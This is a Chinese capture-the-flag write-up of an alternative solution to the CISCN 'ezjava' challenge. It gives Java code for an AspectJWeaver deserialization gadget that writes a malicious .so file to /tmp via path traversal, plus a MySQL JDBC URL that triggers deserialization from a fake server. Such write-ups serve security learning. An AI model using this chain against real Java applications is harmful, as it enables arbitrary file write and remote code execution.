CISCN ezjava另解


参考z3r4y师傅的解题思路,感觉这种方法也是很有参考价值的

回顾

重新看pom.xml可以得到

它是有aj依赖的,所以我们也可以换一种思路,利用aspectjweaver进行文件写入,这里怎么触发aspectjweaver呢?

还记得aspectjweaver怎么触发的吗?是通过put方法内的writeToPath触发的

userbean这里又刚好是一个put方法

所以可以在userbean处反序列化,这样做很明显符合我们aspectjweaver的触发思路:

AspectJweaver

方法是和cc6那样利用差不多的,这里直接合并一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
String filepath = "/../../../../../../../../tmp/evil.so";
byte[] pre_content = Files.readAllBytes(Paths.get("恶意so的路径"));
String content = Base64.getEncoder().encodeToString(pre_content);

Class clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);

//这里不是map了,记得改好
Object simpleCache = constructor.newInstance('.', 1);

//CC6部分 -> userbean部分
UserBean bean = new UserBean(filepath, content);
bean.setObj(simpleCache);
serialize(bean); //将其写入到一个文件payload里

JDBC

接下来就是jdbc传统流程:起fake_mysql_server先将payload传过去,再打jdbcmysql 8.x的payload:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

这样打过去生成的so名字是可控的,最后再来一步jdbc-sqlite的打法即可

修复

综上,两种方法都还是要jdbc-sqlite的打法的,所以我先前的修复方式是一样能防